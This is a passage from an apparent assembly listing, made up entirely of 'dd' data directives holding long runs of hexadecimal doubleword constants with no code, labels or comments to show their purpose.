0B1720BE8h, 98E0EA07h dd 538043A1h, 38C62EEh, 0A59DC08Dh, 93A83283h, 29013F14h dd 28C1A1E9h, 0C8C897BBh, 653B00EDh, 53BF526Ch, 0F50060AAh dd 2EB9E2DFh, 2725F1A8h, 427C0239h, 2CA18307h, 477A19C0h dd 0B67707FBh, 10871D91h, 640C5AC1h, 5B0E8400h, 14F198F3h dd 797F0042h, 6B48EB15h, 0B100FF6Eh, 29EC5A65h, 1682F37Dh dd 1DD1C1B8h, 0F600FD3Ah, 0E0E99B21h, 1507A4C7h, 865FDD2Ah dd 20FB2C40h, 0D9510367h, 5D707B0Eh, 1AA2F3E8h, 0BD8EF500h dd 57912E1Eh, 0C322C9B2h, 921BA300h, 56001584h, 25D1A222h dd 70F00Bh, 46CF1C31h, 0BE440790h, 51C5C207h, 0A2F032A5h dd 385BBAh, 23B659CEh, 100F602Eh, 789EA900h, 0E54E0E0Ch dd 7BCB7C7Dh, 9C807ADh, 30152457h, 0F2ACCAE1h, 2B7F1900h dd 4943EC60h, 0A5390073h, 4DFC5385h, 5000B3DCh, 6BC7DF86h dd 1CA429A3h, 40EF555Dh, 8BCD3725h, 0DCEDE274h, 0BDB8953Eh dd 8D6BC526h, 5AFFA400h, 1BB09DDh, 0C2F1D75Fh, 0C006977Ah dd 19008EABh, 0CFC5E6D1h, 3801A1F7h, 1F803F1Ch, 69749E05h dd 762E9484h, 0CF017829h, 8837E01Bh, 1C2C8940h, 6AE005Eh dd 5C3CB84Dh, 4B00E2C2h, 74C0C821h, 76A6CEh, 0D1F489DCh dd 0F5E506BAh, 855158h, 70DF8F04h, 0A43B0Ch, 41BD10A0h dd 0E8A8254Ch, 0DC99E100h, 0E2D6DE56h, 67A658B2h, 9C7E2A07h dd 291F63DBh, 0D38651F0h, 0F3A0B0F2h, 2500CCF3h, 0DF44992Eh dd 23008A0h, 22D46BDBh, 794071CAh, 1500A841h, 2D3E6329h dd 0D34EA5h, 6A932789h, 2094C9BCh, 0E5B60E00h, 0A5C0CDB4h dd 78E30E48h, 0C03D5890h, 74E7A0F5h, 19007E0Ah, 4B27F08Ch dd 28AAF6h, 78BA2470h, 0C99C5AFAh, 6B740F00h, 0A571CDD6h dd 0A11500B5h, 0EFCE0A37h, 0FB70FABBh, 962A7D00h, 0B1F27FC4h dd 7DC04C8h, 0F805A1F0h, 201500C4h, 0D846EA3Fh, 4CD6013Ch dd 0D5421BB3h, 0EB76F8B6h, 225C2003h, 0F35EA4C1h, 9218165Ah dd 9A2C03E0h, 51A86184h, 0CA00ADE5h, 7BCB0C10h, 1C01304h dd 0FE35B8C5h, 40037F62h, 8AAB918Ch, 7048D078h, 0F7400019h dd 93EB3097h, 883D02E8h, 0E47D5FACh, 274FDCC0h, 0EFB60500h dd 63F94235h, 18F279D2h, 5004B76Fh, 0C3078C96h, 0F682BBE8h dd 28B418C0h, 2C2009Ch, 247A0759h, 7000E61Dh, 0BB4FA0E0h dd 4AEC960h, 4578F87h, 942C9007h, 0AC79BD18h, 0EA00B5E8h dd 50D70E39h, 5D1491h, 0B296B6BEh, 0F5CF49D4h, 82EBF00Fh dd 0AD9A406Bh, 1C1BEE83h, 402744F8h, 0A8027E39h, 77038FDCh dd 0E1C251A4h, 5BADD8AAh, 0F2FA3FEAh, 87CB3B80h, 0CD72241h dd 7CB31001h, 0ADB5CDA0h, 935CE1D3h, 38753DCh, 0E8FA91B8h dd 94C0FD44h, 16005428h, 0C79E63F6h, 764EFF4h, 0A279D465h dd 95B3403Ch, 90037C2h, 2336F5EDh, 4A16EFh, 0FE539FF1h dd 5D721E40h, 78BD1973h, 838B1298h, 8EBCD1h, 0A7D4C167h dd 10DAB9Eh, 2F6DCA7Ch, 40AE89BEh, 0BD50828Fh, 0FFDF301Eh dd 0A319AC3h, 0A0ECD884h, 0E36800AAh, 3B1EAF7Bh, 0E9003046h dd 893E4920h, 38C2807Dh, 0EC80DC4Fh, 0CBC50AF4h, 0B100A05Eh dd 0D9011620h, 5483A9h, 45595A19h, 0D86E1D5Dh, 5CE1BD01h dd 4C0EC055h, 1364E0h, 8AE663DEh, 4405CD79h, 0C16A4300h dd 0DC4E2411h, 72D9002Dh, 234F8ADDh, 7D00F7D8h, 0EC54A1Ah dd 93E4C0h, 7A2D7830h, 28DB532Ch, 0D539F307h, 0BA31DC73h dd 18800721h, 173FE46Ch, 0AA038519h, 9BAC9478h, 774B99A8h dd 474DAF40h, 0EC4A008Ch, 1F05DA2h, 51001939h, 1609CFD5h dd 38FEAEh, 68A330CDh, 0F6F015B8h, 0AC9BAF00h, 2ED78DC4h dd 0F28B033Fh, 41803521h, 0F06724C8h, 27335Ch, 0C8498E1h dd 0F4F94AB4h, 929D0447h, 83D0EF44h, 0C9C0DA14h, 90069CEh dd 76B9AB0Ah, 0E6FA0864h, 15C70029h, 0D7CC398Fh, 0EF1F73ADh dd 0A4C0D633h, 6AB587A9h, 6C10011h, 81C80F5Fh, 0D400D8EAh dd 0ADDB4B5Bh, 9A8243h, 0D1949F29h, 0A0C66895h, 85B2E300h dd 0C971AC15h, 0A3EB00EAh, 5CD8ECFDh, 0AD07FC5Bh, 0B903422Dh dd 7C54B210h, 14890150h, 58DBE815h, 0ACC05023h, 0EDF4C66Bh dd 0A6A0B000h, 8C0ED696h, 0B8E6E6h, 0A360A985h, 4C3C7227h dd 2DF11200h, 4FED3E51h, 17990EAEh, 5620F5ADh, 9B906F60h dd 82E71A0Eh, 9A8AC073h, 7ADFBCh, 928BF21Dh, 433FEA4Ah dd 7F2C6500h, 81A70E08h, 0A1870054h, 447316C6h, 0AC3C5C19h dd 78F4C4Eh, 0B57BC32Bh, 0BFE7C00Fh, 0C06A7520h, 0BC514A10h dd 0A008DB9h, 0C9CD6E83h, 3918EEh, 5E0BD43Ah, 49C7365Dh dd 0F155B400h, 0EC912C15h, 0FF9C01E9h, 39DD5181h, 0ECCEF926h dd 0A101E3DFh, 6C1083A8h, 3BE0CC29h, 0A4B00056h, 0F7E11328h dd 0B61E9BC4h, 20708FF0h, 0F8ECF86Fh, 810A3CAEh, 0B08A4500h dd 2DBCC8DBh, 0CEAA8F09h, 0F40B0097h, 85A077h, 0D4383A29h dd 0EF6508Bh, 23517600h dd 0F98C2037h, 0B7932E9Dh, 0B4003F47h, 0EC4D9219h, 0E9098812h dd 80BE291Ah, 0BC995A46h, 0D90600FFh, 0A478FC5Eh, 693A7127h dd 179C002Eh, 9BD899A8h, 739701A5h, 24FC09DBh, 52C8F377h dd 32001621h, 0B2FF86A0h, 5FCC2Fh, 3A34FEF0h, 93925D8Fh dd 90F60A00h, 31CBA073h, 28C2008Dh, 0D57FE696h, 97006C79h dd 6A7C1127h, 1B15F0h, 6976479Eh, 1C8F5DE6h, 0F7086309h dd 46BC009Ch, 1890F3h, 2D974960h, 0CEAC50FBh, 8744CF39h dd 62CA54BBh, 2B3D00DBh, 3336DCE9h, 710B224h, 7A4F4DB8h dd 2DB81103h, 0B30CB4ECh, 3AFFC0BFh, 287600D3h, 0A45093E8h dd 0ED0004F0h, 0DF4A08E9h, 149240DCh, 0A12518F5h, 1FD6DD00h dd 7096EA9Dh, 16C1F01Dh, 0F5F48E7Bh, 0A25C2104h, 0DE70E793h dd 0EC8C01DFh, 857C5B8Ah, 2C80C33Ch, 890323D6h, 26EBC659h dd 202580B3h, 488A7E74h, 0A70038B0h, 49C42E1Eh, 50C55332h dd 6803BC9h, 1F49F60h, 0F01F7BDh, 605F873Eh, 0A5F0422Eh dd 2002D013h, 0FD36D500h, 3CB0DCh, 2832D707h, 2A12CEFBh dd 3738F500h, 0A291FE6Dh, 428B0747h, 6055832Dh, 705F03D3h dd 0AC330500h, 485E9368h, 0E04400B9h, 832F42C8h, 502DFE7h dd 95342BF2h, 6AC94011h, 4950123Fh, 0AE8C4042h, 2327870h dd 80005BF8h, 11559677h, 0BDDC1Fh, 0DBA2B098h, 172425B6h dd 0F5B35700h, 0BCFBACF6h, 0D8C200BBh, 306B9CADh, 0FE0F8B5Ch dd 69121A18h, 0AC98066h, 48E1DD4Ah, 0B5005BB6h, 0B08972A9h dd 5900C01Ch, 0E8B13F9Dh, 0D10E76h, 0FE91E0A8h, 0AEFF7722h dd 2EE8C561h, 28241EEFh, 11020773h, 809A0A98h, 1AA82FDBh dd 2E2A6A0Eh, 1EFDA70Fh, 0E89C0440h, 0D6D5E15Eh, 1795D4h dd 0DD504045h, 2AB1CF7Fh, 80E1CE2Ah, 804A1300h, 0D18227ABh dd 0DF7100B9h, 1D19D794h, 0A8009AFAh, 93A34290h, 0BFFE211h dd 0ACBDEA9h, 0D816100h, 3A0E7BC2h, 0C2273329h, 406B3021h dd 1BF07B7h, 524EAAC6h, 0D8F1437Ah, 7C044918h, 60D7F53Bh dd 9D807890h, 2DE20B86h, 91871B66h, 88C80011h, 148AEA2h dd 3AFA1F9Eh, 2BCA00F8h, 0E8071EF5h, 42830012h, 2706A04Ch dd 300BB45h, 2BE5DD75h, 943A23h, 31D111C0h, 923FC15Dh dd 0D66C3B00h, 0ACE6EE99h, 57080FFFh, 403237A3h, 3B8BC804h dd 0DD003626h, 59FE18CFh, 0B749AE3h, 0B2D0B4A4h, 0A5CBCB80h dd 0B090316Ah, 7D88A049h, 0AABE1900h, 0F1E6151Eh, 3D98FDh dd 7443759Bh, 3B4BBAACh, 0B5BF5B00h, 5E8A1714h, 0DEEB268Ch dd 0DD056068h, 610012A2h, 1490C72Fh, 7552C86h, 0C230AA35h dd 8062452Dh, 2B226F08h, 7466400h, 0DF0AA42Ch, 0FA99003Ch dd 6DD9677Dh, 8F003625h, 1E1410DBh, 19AC54h, 2D35F2BDh dd 0A98EC6B8h, 27C1F400h, 0BBCC8D39h, 0D5F0008Ch, 4B60A3E9h dd 0B70685B0h, 6AF10FD4h, 0EE910074h, 0AF2C45B4h, 9A00BD14h dd 7457C232h, 27935BB8h, 335C0868h, 0D08EAA00h, 3CEBCE2h dd 4088FC7Bh, 0EFB2040Eh, 0A59B480h, 26B81A44h, 5DE29000h dd 63FF06B5h, 0AE4602FAh, 53B9D3EAh, 1E8C5640h, 0CCA19313h dd 342E1705h, 0A4B4B100h, 0EA81C607h, 0C9E5011Ch, 0A6B3B28Bh dd 8D5260F6h, 0AC6D8718h, 0E49D4370h, 6210012h, 62688AD6h dd 45071EADh, 6452D2ACh, 48C76081h, 20E2109Bh, 90C10BD0h dd 9BD840h, 0AEC65591h, 68F68EEFh, 8348D26Fh, 48B5D1h dd 0E0AF4769h, 543DEE50h, 1F99CE1Fh, 98E7C3C0h, 7E13CA30h dd 0BEA201EFh, 6144E002h, 4388505Fh, 0E47851F0h, 0C44BA107h dd 8C30CA93h, 5E74DBh, 0A2E01CE5h, 44D0908Eh, 4E002679h dd 84066E9Fh, 1E56CE82h, 0C03D8B48h, 0C2452D2Fh, 66ECE6DFh dd 8F0E9A00h, 0BC5EF93Bh, 0DDE4F927h, 0E3BF1FBBh, 0C3AD1C01h dd 0AF887E44h, 21DB0980h, 0B71FBD00h, 0AECD8D78h, 0F3DD16E2h dd 61D600E6h, 7A9A8659h, 5E971C2Fh, 8FF41FEDh, 417DD0FFh dd 9B12B8CCh, 8071CC06h, 5B677B00h, 66A22B3Dh, 0E655F085h dd 0D6C500DDh, 514F04ADh, 6100B201h, 0BB67333Eh, 12E445D0h dd 7CED457h, 271AEFC8h, 60801F2Fh, 0ED685F1Eh, 0C0A0B802h dd 48BC3117h, 7E6ADCh, 0C37D46EEh, 0F05A45D1h, 52B3CCA0h dd 0A3067B00h, 20156D18h, 0A0C0E913h, 89E00C0Eh, 12101B9Fh dd 3DBBFA01h, 0EAC26386h, 164E3180h, 194FD76Ch, 4CE4CB00h dd 28530826h, 5990039h, 3C12F086h, 52002370h, 5601A81Fh dd 0FA68D17h, 228C4840h, 0AC5E1100h, 4E016B7Dh, 0F90BAD23h dd 99E02870h, 601A1F41h, 0CBE680BDh, 2418A003h, 0A9725500h dd 12093697h, 86E0B14h, 0B8803FE0h, 57FCBA47h, 23C9A01h dd 97AB269h, 85E03886h, 78BDD181h, 72CB3718h, 0DD6900C8h dd 29C30561h, 18190760h, 414E4A19h, 0F9C0E175h, 9B4096A8h dd 9934011Bh, 55B92CF2h, 0ED298F7Fh, 4B590090h, 0AEA2Eh dd 86EC63C3h, 835B9DD8h, 0FDA9CF1Fh, 668AA240h, 18050681h dd 0EE4A30A1h, 1D00D9B2h, 0F6224F9h, 0B8021CC6h, 0F86AFCEBh dd 7BD81D1Bh, 2C307AD2h, 6DAAD21h, 19844C00h, 813938F7h dd 283D0657h, 491F7D31h, 8078CF3Ch, 1D5EB7B3h, 0D09350h dd 0BB352ABAh, 44DC8DB9h, 0BB33404h, 62C079C7h, 7C614E5Dh dd 3C40C026h, 0CE8441EBh, 8FA8DB3Bh, 6CA9B98Ch, 1356129h dd 0B2A74FD3h, 401AAE76h, 1D40FFDCh, 0C7736272h, 0B0041B37h dd 9886AF80h, 0A83301E5h, 0FD8EFE7Dh, 83EDD178h, 99EFF121h dd 25BEB0BDh, 5E801ECFh, 0E1024h, 44416D85h, 6971205h dd 0E06A08F1h, 41C7F006h, 1420800Fh, 2B63593h, 8BAA9D41h dd 0BFE03447h, 0CC1D79FEh, 2418FDB5h, 77886821h, 93350047h dd 0B903254Ch, 3800EE5Eh, 0ED9F0BA0h, 155A0Eh, 0C643BC7Fh dd 0D040E2E5h, 41682400h, 27F0F16Ch, 0D64A249Dh, 0EB84312Fh dd 0ED47C534h, 80CBD536h, 1874A68h, 79605DDh, 0B1E3552Eh dd 0E438F054h, 3100571Ch, 5F9F09F1h, 0C89A863h, 8ABD3C4Ch dd 363C8010h, 0C018004Ah, 81DB41F0h, 0B54607B6h, 0B2D28476h dd 41C059D1h, 143DFD50h, 0D5C380D6h, 0E1D4CBC8h, 182C6080h dd 6A5C0571h, 87CC2300h, 5D4FEE9Bh, 5F743AD6h, 0C1040200h dd 0E57350F9h, 34CBC000h, 91491052h, 0EEBD0087h, 2E5C1239h dd 810ABCA9h, 0B70DE29Bh, 261861Bh, 0F4455108h, 513452BAh dd 40A1044h, 21B102EEh, 35B2AB1Ch, 0EA6420C3h, 65881084h dd 555F2400h, 0D368C6FFh, 0FD70058h, 0EE420CB9h, 6F988720h dd 41FBBD00h, 0D6643EF6h, 0A3700072h, 0FB8B7E8h, 2000862Ch dd 4CEBACD3h, 0FF5D1Ah, 17C4835Ch, 3227693Eh, 94D51906h dd 2202B8Eh, 38FED484h, 209CB93Bh, 887023h, 0BD08F38Dh dd 280FCDA3h, 0CB3643Fh, 0A5C930h, 44349DBh, 0D1B62352h dd 455039F0h, 0E60FFE08h, 0E362468h, 9E59E034h, 18D7750Ah dd 1825C93Bh, 0F1030935h, 0BFEE55ECh, 0FD6EB074h, 0C445781Ah dd 7EF0460h, 0CC8F0102h, 0AF488C7h, 0E5097922h, 0E7070398h dd 5042EBECh, 6E1871B4h, 7D20F661h, 30B7ACEh, 992C93BBh dd 61E60625h, 37675B79h, 0EC82BDB1h, 412008F6h, 0CC02CF63h dd 41859A5Ch, 1C047EACh, 4BCE0274h, 226C6A5Bh, 0D960213Eh dd 0BFD4C04Dh, 58201140h, 50A4E3B7h, 202D2881h, 39124521h dd 4041E7DAh, 48BFC9AEh, 1D172C20h, 81561D43h, 6B6D871Eh dd 2F1882B3h, 403952A3h, 2F0850Ch, 0AE03ACD7h, 20905770h dd 0F1EA4DE8h, 84957211h dd 0EB2197F2h, 0D4455660h, 0E10E1067h, 1228B04Ch, 88AF901h dd 422C2102h, 4CFBB187h, 87C0208Ah, 850EE410h, 0FB3DB544h dd 0C04F7380h, 0EC293B11h, 88B627A7h, 0AACD0BE0h, 0D86701DDh dd 0F8AD3BBFh, 0B5100F35h, 480A6EBh, 6D7F2B0Eh, 42017CD7h dd 2B09485h, 0B84C9978h, 0A1203EBFh, 2208423h, 2681FD1Bh dd 40BE6C27h, 81201A52h, 2B33BE9h, 8F158B0Ah, 43A301AAh dd 60201866h, 0A4F509B2h, 0E00157CFh, 0C293DD92h, 68C02040h dd 326EB100h, 0BC0D55E2h, 8589A4Ah, 0F710C2A4h, 0A5028202h dd 30546A9Fh, 218C4C20h, 7B519D5Bh, 3917020Fh, 3E696ED5h dd 1C87C0ECh, 139588FEh, 0A2E7FDCh, 0C2B65AE2h, 54AFF060h dd 68823A85h, 0B5B07840h, 72120BCh, 3CAAC1C7h, 815FA1Fh dd 88735143h, 85F49DFBh, 523C3F44h, 0C1ABE110h, 80AA9BA8h dd 0DCDA7C63h, 9A082D21h, 8701A833h, 0BA213DCEh, 208F0A35h dd 82C82953h, 1D986340h, 4208C58Ah, 9814D964h, 2DFD0428h dd 7C23A82Fh, 20AEB8h, 6381CE8Ch, 9925FB5Fh, 42E25923h dd 0EC14EF0Ch, 6A70ACFh, 54803ABBh, 0C160BC52h, 0ACA76654h dd 58B0880Ah, 8E0ACE73h, 20923091h, 0C014B4F1h, 42E3F168h dd 85E49F88h, 0FA401280h, 8521A6E5h, 14381B42h, 434D40C1h dd 840A1FA1h, 533837CBh, 0C3698508h, 0FBFF984h, 23646102h dd 433E85CDh, 657CCFC3h, 4078F9FDh, 9082878Fh, 0BC661FD4h dd 0C1934320h, 8947F2E6h, 82E7880Ah, 6E4BBD09h, 0F34D6401h dd 0A70E2C66h, 69A475FCh, 0C10B2A41h, 4C164CC2h, 9811BE71h dd 0C5F1D45Ch, 200A08C2h, 777036F5h, 65404899h, 85DE69ACh dd 0C8CBB744h, 6E9CC930h, 565699D2h, 0C773C420h, 6D1DF638h dd 0E463FC8Ah, 8829526Fh, 0E88032EAh, 8D213E29h, 50C42C47h dd 408CE7Eh, 371C1B27h, 5C8A28CAh, 25935820h, 8B7B226h dd 20545254h, 39A08DC0h, 888F22D0h, 8F50EDA8h, 27BC12CEh dd 9D10CA95h, 0A720EFD4h, 0C14686F0h, 0E09F8F25h, 0CF654021h dd 2EFAFCEBh, 7842A0A5h, 1F2094EDh, 0E937C6ABh, 5C2451A0h dd 0CE024D60h, 0B8E31F8Dh, 7C293E2Ch, 0EC0C0EDh, 0AF56CE55h dd 20701540h, 4ECE5AC0h, 69238A98h, 0F5B8E722h, 5C88B36h dd 5B58B2FBh, 744078h, 47F7DDEDh, 698B7A3Ah, 8572BA00h dd 50D8A3D5h, 60BCEC08h, 7A3C189Bh, 0CB3EF870h, 24821EF7h dd 20B9630Ah, 8A24F50h, 8373CD43h, 7B0B5FF1h, 856B8301h dd 84FF3989h, 60AB211Eh, 1DC6856Ah, 40DEE72Bh, 94BB0FC2h dd 0B2C73A60h, 0A306639Dh, 202C1BC5h, 0A51708DCh, 17F90832h dd 0E080410Bh, 13571AA3h, 0A0678A20h, 21A45978h, 33514104h dd 0EA2094F2h, 0F0CF2B08h, 412FC640h, 91F3E300h, 0B9D069EBh dd 0F87179h, 97181C45h, 0F782D4A4h, 212A5300h, 9643D972h dd 94C207F2h, 0C161B1CEh, 0D017B977h, 5500979Eh, 4460E61Ch dd 0F8E8F87Ch, 0DC770026h, 0F2955372h, 0E02894B6h, 0D52028FBh dd 66171469h, 109D2090h, 47E4F0E9h, 632A0452h, 19A5EBCh dd 0E7BEDCB8h, 79A25986h, 36F83152h, 7480FA7Ch, 62B544BDh dd 45FFF901h, 3709F349h, 0E387887h, 0BDA890C6h, 0E9625C94h dd 80D7BC38h, 0B1CDE688h, 1285000Ah, 2C3A2BD9h, 0F700E565h dd 0AC303F7Fh, 8FB748h, 0E0A94F92h, 0A72BFA86h, 0AA757674h dd 45E8E603h, 1BE7EC14h, 0E8678150h, 2EB827E0h, 41BE4300h dd 397A2CABh, 868D3C52h, 0EC89429h, 19818750h, 835E9ABDh dd 7CC14F20h, 0E5680185h, 469DB6D7h, 12DA0093h, 0B0107CCh dd 0C0B75199h, 1F845F30h, 2D4BE700h, 13EA7719h, 3E813143h dd 48546380h, 0E83EC0F0h, 0AB850777h, 67405E8Bh, 3FBCCCF1h dd 0F08C8230h, 0CBD8653Fh, 0E2A448C3h, 0DF95D826h, 0C0991FBEh dd 3E3F1F33h, 6300A4D2h, 9C260ADCh, 0CA18E6F2h, 0E718CE16h dd 8436504Ch, 924701E8h, 0CB41B36Ah, 26A4E013h, 1E3B6800h dd 0BE826FD1h, 65FBEE58h, 0BE45312Bh, 53871B80h, 0D450F18Dh dd 36DCA94Dh, 60282C1Dh, 0F8C23C44h, 5C0D4954h, 14A01E31h dd 990B03F9h, 1C2050D9h, 69571821h, 0BE81510Fh, 0B480CC28h dd 68F87332h, 0AE4040BCh, 8899480Fh, 5CC33C08h, 0A89A830Ah dd 0BF8825Dh, 0F881489Fh, 816EC1F9h, 3EC4AD81h, 0F88355F0h dd 0E97FA734h, 72CFB006h, 60787601h, 711EF93Eh, 0DA00DB8Bh dd 0E145CFA0h, 15C3AC1Ah, 802524B6h, 690D297Ch, 0C64F01ACh dd 0E003A305h, 19CF644Bh, 0BAD387BEh, 223EACEAh, 267C3750h dd 0B20BC239h, 0AACC6440h, 0FEEF5E40h, 0E8E50274h, 734C51B8h dd 0E07E5080h, 33E8458Bh, 0F0CB2302h, 867A2136h, 48603210h dd 0FC15D497h, 1700C80Bh, 54B43572h, 0E2956A7h, 0C29D43Fh dd 0CFCBAD85h, 8A7024h, 0FFEF139h, 0C14429E3h, 2C003E29h dd 4099C333h, 2134A718h, 0F1CA2438h, 30F22F0h, 74A4861h dd 680027E9h, 0B03A980Eh, 40DF44B4h, 0EE0A33D9h, 884DA034h dd 4040AE42h, 48D56B6Ah, 0D8403049h, 70E9481Dh, 47BC6502h dd 24489CBAh, 48C02C2Eh, 56844F12h, 0E18EF9F3h, 760996C6h dd 20C51005h, 0AC6465B8h, 0F2A8F51Fh, 6A211007h, 47B42029h dd 1865FDDBh, 0E071A009h, 0C1F0B8E5h, 68F8B424h, 0D5C6230Ah dd 1044780Ch, 0C21E00FDh, 1B29150Bh, 0D142D3Fh, 7CE45C23h dd 22BE23Eh, 763CC035h, 0E9C46146h, 88F84C20h, 82463B5h dd 4C45583Fh, 519C0C44h, 8BF5021h, 0C408F774h, 0FF3F31C0h dd 48737A3h, 0E290E98Eh, 0D478C18Fh, 0CACB0095h, 7480A8CDh dd 0AB6220ACh, 53FC5A0Fh, 49F4B469h, 0A0A871F0h, 6C28AAD5h dd 18C88479h, 993061E4h, 0CB0E01FAh, 3466EF11h, 0A72C2894h dd 7CA8243Ch, 811D8C20h, 14258684h, 50AAF9E0h, 1F76062h dd 8B01A1C9h, 5C27FAEFh, 0BD364C24h, 39481826h, 0A854E361h dd 0D6E42AAh, 48DBBB0Bh, 0F4C83018h, 0EFE511A5h, 24F01322h dd 0FD756405h, 3F618031h, 8C9AD008h, 6674F70Eh, 0F8A4CCC1h dd 73411EB1h, 0F1CE4DDh, 4CE1715Ah, 0E0930801h, 0B19B0FCh dd 7B88DAABh, 0C6942421h, 0C67ADC61h, 0C0FD14D8h, 0B8C09D03h dd 37D2B494h, 0A4784FE8h, 85846784h, 18767131h, 95512139h dd 0C2DBBF08h, 0C41944E7h, 0CC437C1Ch, 84813011h, 0E437E0D4h dd 0B9F56077h, 0A3538496h, 5C437378h, 28FE7011h, 5E24E0E7h dd 18A004F8h, 1D8B4EE8h, 0E05FDA20h, 0EC437C28h, 30D89B29h dd 55F5F305h, 404A1848h, 6C4ABAEh, 6CF8EE4Dh, 21EDC0BEh dd 72BE990Ch, 2C0F3886h, 59231043h, 61F144C5h, 0CCD989Ch dd 101E46ACh, 15C5943Ch, 0D13C200Fh, 47849550h, 0EFD308D7h dd 723C4455h, 4C6FC390h, 0C808DC78h, 3642FA39h, 73784376h dd 10F4AE38h, 845241E0h, 5C611DB4h, 46910C85h, 743908BBh dd 0DB1F4293h, 86576F30h, 103CE453h, 0D1DD5F10h, 0C0973184h dd 914A224h, 48309C18h, 218C8434h, 9D94AC48h, 64987C54h dd 80647122h, 86924C18h, 86C9953h, 449687F9h, 0AC577307h dd 27E28031h, 4BFBC560h, 548C1848h, 42864371h, 18844484h dd 702BE843h, 0A9B888D8h, 9901446Eh, 5240C931h, 304ECF6Ch dd 3C609F2Ah, 1DF27423h, 609121B4h, 323A3CC4h, 58213851h dd 0A85F5786h, 53886708h, 5249E841h, 44803C51h, 105C10E2h dd 0E5DC218Ch, 970F0D88h, 25570D93h, 3EFC0011h, 7C20A94Eh dd 0A1C3291h, 2C4CF461h, 481E9C22h, 903C44AEh, 66E68978h dd 632848D8h, 0CC458FC1h dd 0CC4E9822h, 2B303852h, 40889C74h, 775D6493h, 43329E34h dd 0A94A7338h, 0D41C483Ch, 0A423EE43h, 8B915888h, 0B482EA71h dd 8101E97Ch, 0D8606806h, 44AA16D6h, 0E5E822AEh, 0C3C16320h dd 2A2F0510h, 0C0957BCBh, 657333C0h, 0CCB098B2h, 82DCAD5Ch dd 615C3A53h, 24583E14h, 83EB3C0Ah, 0CB07CB10h, 98A02CD5h dd 18218B71h, 58A715D1h, 27677E10h, 2040B5Bh, 0C1E00F28h dd 907254F4h, 0DA4B0B0Bh, 0EC11009Ch, 7317AE1Fh, 0B0304275h dd 4B0361FDh, 0C2590337h, 4C6E6F94h, 64827814h, 1DEC8294h dd 601162Ch, 0CB441047h, 0B1079637h, 8C69F2A9h, 901E6581h dd 0CBE64014h, 6384AB54h, 24B69909h, 602F0921h, 0A04231C8h dd 664FC5B0h, 498738DFh, 0EEF5E500h, 0BAF17240h, 0E6EA15D2h dd 5B0A9C28h, 92CC9FBDh, 0C770D7F6h, 32AA8595h, 662092A4h dd 0A0BF58A9h, 4C0E31FCh, 204BD54Fh, 24AA880Ch, 4AC1D59h dd 59CD7465h, 27F81CA4h, 14105E6Eh, 5C44B0A2h, 0D3AD3E34h dd 2EBCE163h, 2CE9D163h, 43510853h, 0F48A9C60h, 0B606604Bh dd 3798C94h, 73096B49h, 19892BE6h, 0CB10887Bh, 0C0F94196h dd 0DF42DB5h, 0C863FBFCh, 80132493h, 5CFF3C10h, 9043554Ah dd 14C0FC56h, 8C7E4DE9h, 812C5E24h, 0C7540963h, 6230522Ch dd 0E2CAE521h, 7EC5EF10h, 0EC05D496h, 0E0284A8Ah, 0DF221D58h dd 8A03001Fh, 7C1B9DACh, 0C06048A1h, 0E2808B0Bh, 0C14429B4h dd 0FCAB02C8h, 650551B7h, 55A10C40h, 6725B964h, 82D9A13Ah dd 74C81CC1h, 18A4FE8Ch, 6312F4F0h, 0CC076737h, 0B97020A4h dd 0F883E1B4h, 0A89569C9h, 0EA9A7801h, 0C1F90053h, 0FA78A042h dd 0DF444163h, 81E660E1h, 0F827B558h, 14526EABh, 282C7847h dd 0C614AACDh, 18868BC8h, 49CEF70h, 103E393h, 5E71942h dd 72225C40h, 3E70A0B9h, 0A810A726h, 550FCF9Fh, 0ECD29262h dd 1680D3E8h, 0A47C9C27h, 4192D433h, 50F5D921h, 0BC258869h dd 0EA512880h, 9096D71Ah, 0BB5D1905h, 0B311F8D0h, 2D15A34h dd 94C65BCh, 0D145444h, 0D4863E9h, 51CE3CB8h, 0A1C67442h dd 0FF8030A8h, 0E281AC68h, 4194313Fh, 20287E60h, 0D7012B50h dd 0A740278Ah, 4986E5BCh, 0B15C8164h, 0A705213Bh, 1CA4A5EBh dd 0C001D8A3h, 0AAFA75B1h, 0F3803449h, 0C6BB4803h, 0E3F8D51Ch dd 3119264Dh, 14784AB0h, 96C0246Ah, 0A4E984CBh, 0CC233014h dd 0EC029248h, 21969A25h, 3D4473F3h, 0C48E002Ch, 0E57D651h dd 9C30A4FEh, 0B7E1C090h, 2A549606h, 15059308h, 589AC4ABh dd 697BC0Bh, 16E93304h, 8A3EFBCEh, 27D58450h, 2866C520h dd 21C1F818h, 0C9CEAD69h, 10906AE0h, 9098388Dh, 0B669A160h dd 98DED64Bh, 596161E2h, 0C46A8E4Dh, 609CC8B3h, 61FD16E1h dd 3F344314h, 88CCC5FFh, 4B12F5E8h, 3831B8CCh, 0C1D88183h dd 8C6487Ah, 606096A1h, 0A85AA448h, 1D3E0420h, 0DC665026h dd 25F8744Eh, 0D4007F1Ah, 896EBD19h, 0B616AC90h, 0E8D1ECB4h dd 2C40EECFh, 137730C0h, 0C4A8B970h, 498A8768h, 0AC81CC81h dd 8F4352Ah, 0F03C6320h, 0E92E30B6h, 16033169h, 10244BDBh dd 54809CC8h, 322BEC18h, 34434A3Eh, 68C11995h, 4074E7C0h dd 0CB8A4030h, 10A098F0h, 0DB1319B8h, 3410D98Fh, 0E59C10A4h dd 1083A819h, 0A9885176h, 0BC109586h, 48A81EE0h, 0E769BF06h dd 194F7811h, 31772EABh, 792094A7h, 0FA520118h, 0E9883EABh dd 0A55209Eh, 1018E6C1h, 44513947h, 616C98F2h, 23C82136h dd 0A0B880FBh, 0F356BBD5h, 0B8092AEh, 28CEFE26h, 8F0D7420h dd 0BA63A040h, 0B4BC6531h, 0EBB8B090h, 75970B63h, 0E80F069Eh dd 2542E138h, 286F03Ah, 0BADB418Fh, 24C1C11Ch, 4FD14460h dd 4381251h, 803CC7B0h, 56844B0Ch, 89760E30h, 5DB0BEB2h dd 9002F498h, 7B18DCDDh, 39E31840h, 0A780C082h, 8D563EECh dd 7604953Bh, 8129BEB9h, 51C2C70h, 0F4D0581Ch, 0ECA80D14h dd 0B409AF22h, 80860572h, 0DF9FF904h, 58C702F4h, 40E2BB88h dd 0E81174FAh, 0F066563h, 0B072D627h, 126B149Eh, 20C8411Ch dd 62563424h, 67FB1083h, 0DC342083h, 4841A022h, 0AB80B896h dd 90892C39h, 0B49B2A12h, 66565830h, 0AA6F685h, 0FFD9B8D4h dd 0C22183C8h, 0A87F9CD6h, 73380449h, 0B60B5775h, 2436344h dd 0C1666EE0h, 85FC99CCh, 5A17EAB2h, 